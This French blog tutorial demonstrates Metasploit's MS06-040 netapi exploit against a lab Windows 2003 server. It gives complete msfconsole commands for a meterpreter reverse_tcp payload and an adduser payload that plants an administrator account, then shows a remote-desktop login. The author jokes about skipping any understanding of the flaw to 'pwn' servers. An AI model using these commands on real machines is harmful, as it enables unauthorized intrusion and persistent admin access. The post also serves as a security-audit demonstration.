MSF moi fort !

msploit034

wiki_logo_miniMetasploit était un projet open-source sur la sécurité informatique qui fournit des informations sur des vulnérabilités, aide à la pénétration de systèmes informatisés et au développement de signatures pour les IDS. Le plus connu des sous-projets est le Metasploit Framework, un outil pour le développement et l’exécution d’exploits contre une machine distante. Les autres sous-projets importants sont la base de données d’Opcode, l’archive de shellcode, et la recherche dans la sécurité.

Comparable aux produits commerciaux tels que Immunity’s CANVAS ou Core Impact, Metasploit peut être utilisé par les administrateurs pour tester la vulnérabilité des systèmes informatiques afin de les protéger, ou par les pirates et les Script kiddies a des fins de piratage.

Source : Dieu Wikipedia

Cet outil est parfois utilisé dans le cadre des audits de sécurité, pour mettre en évidence les risques et les faiblesses d’un système. Le compte rendu d’une application comme Nessus n’est souvent pas assez tangible pour déclencher une prise de conscience chez l’interlocuteur. L’impact psychologique est bien supérieur lorsque l’on dévoile le potentiel d’une vulnérabilité à l’aide d’un outil accessible à tous, même au moins doués.

Démonstration

Pour cette rapide présentation de la suite Metasploit, nous allons nous appuyer sur un précédent article. Souvenez-vous de la faille MS06-040 découverte par ce cher Nessus. Nous allons maintenant tenter de l’exploiter pour accéder à la machine distante. Pour ce faire, inutile de vous rendre sur le siteduzero pour apprendre le Perl ou le Python. metasploit.com possède une base de données considérable d’exploits “plug and play”. Pour récupérer celui qui nous intéresse, il suffit d’indiquer l’un des codes qui identifie la vulnérabilité : OSVDB, CVE, BID ou MSFT… Nous utiliserons le MSFT, l’avantage de ce code est qu’il est directement présent dans la colonne « Name » du listing des failles effectué par Nessus (donc pas besoin de dérouler le compte-rendu, on gagne du temps et c’est tant mieux parce qu’après tout nous on s’en fou de comment ça marche, on veut juste pwn3d le serveur !).

msploit035

Si l’on conserve cette philosophie, ce qui nous intéresse le plus, c’est la partie « Exploit Usage Information », qui décrit brièvement la façon d’utiliser ce module. On scroll donc jusque là et on oublie tout le reste !

Exploit Usage Information

$ msfconsole
 .d8888b.            .d8888b.   .d888  .d888 
d88P  Y88b          d88P  Y88b d88P"  d88P"  
888    888          888    888 888    888    
888    888 888  888 888    888 888888 888888 
888    888 `Y8bd8P' 888    888 888    888    
888    888   X88K   888    888 888    888    
Y88b  d88P .d8""8b. Y88b  d88P 888    888    
 "Y8888P"  888  888  "Y8888P"  888    888
msf > e
msf exploit(ms06_040_netapi) > show payloads
msf exploit(ms06_040_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms06_040_netapi) > set LHOST [MY IP ADDRESS]
msf exploit(ms06_040_netapi) > set RHOST [TARGET IP]
msf exploit(ms06_040_netapi) > exploit

 

La partie encore en dessous intitulée « Exploit Module Options » décrit les nombreuses options permettant la configuration avancée de l’exploit. Pour exploiter complètement le module, il faut s’intéresser un minimum à cette faille.  L’avantage de Metasploit est qu’il propose en général une configuration quasiment fonctionnelle et automatique qui nous permet de faire l’impasse sur cette partie. Cette simplicité est un atout considérable qui nous permet de tester plusieurs exploits sur plusieurs vulnérabilités en très peu de temps. Mais l’avantage principal est qu’il devient surtout possible de jouer au pirate sans trop se fouler !

Réalisons donc notre attaque en choisissant un payload (code exécuté sur la machine distante) permettant l’ajout d’un utilisateur appartenant au groupe administrateur :

msf > use exploit/windows/smb/ms06_040_netapi
msf  exploit(ms06_040_netapi) > set PAYLOAD windows/adduser
PAYLOAD => windows/adduser
msf  exploit(ms06_040_netapi) > set LHOST 192.168.100.130
LHOST => 192.168.100.130
msf  exploit(ms06_040_netapi) > set RHOST 192.168.100.106
RHOST => 192.168.100.106
msf  exploit(ms06_040_netapi) > set USER 0x0ff
USER => 0x0ff
msf  exploit(ms06_040_netapi) > set PASS bergamote
PASS => bergamote
msf  exploit(ms06_040_netapi) > exploit
[*] Detected a Windows 2003 SP0 target
[*] To exploit this system, "set TARGET 5" and run again
[*] Exploit completed, but no session was created.

 

Le programme détecte pour nous le système de la victime lors de la première exécution. Après avoir configuré la variable TARGET, on exécute une nouvelle fois l’exploit :

msf  exploit(ms06_040_netapi) > set TARGET 5
TARGET => 5
msf  exploit(ms06_040_netapi) > exploit
[*] Binding to 192.168.100.106[\BROWSER] ...
[*] Bound to 192.168.100.106[\BROWSER] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Exploit completed, but no session was created.

 

Nous allons à présent tenter de nous loguer sur la machine en bureau à distance :

msploit036

Et Ô miracle, nous accédons à cette machine grâce à l’utilisateur que nous avons injecté :

msploit037

En jetant un œil aux utilisateurs et groupes locaux on retrouve bien notre utilisateur « 0x0ff » membre du groupe administrateur :

msploit038

Rien de vraiment très nouveau ici. Cela dit, on rencontre encore ce genre de vulnérabilités régulièrement.  Spécialement dans les environnements virtualisés où la création de machines de test est une tâche courante ! Cet article est donc loin d’être outdated !

MSF ?

msploit040Metasploit est l’un de ces outils extrêmement puissants et d’une simplicité déconcertante qui ont sans doute participé a cet engouement nouveau pour le hacking. Même si la vulgarisation de ce genre d’outils a entraîné de nombreuses dérives, la disponibilité nouvelle de ce savoir et de ces techniques est peut-être une excellente chose. Cette facilité d’accès a peut-être joué un rôle majeur dans l’émergence des mouvements Hacktivistes dont les noms des plus célèbres vous sont familiers : Wikileaks, Offshore Leaks, x ou y leaks, les Anonymous, LulzSec, les cyber-acteurs des révolutions arabes,  les ressortissants chinois luttant contre les mesures de censure gouvernementale,  etc… Car tous ces groupes rassemblent ou ont rassemblé des experts informatique, des experts de l’information mais aussi d’autres contributeurs plus modestes, preuve qu’aujourd’hui la technique n’est plus une barrière aux convictions.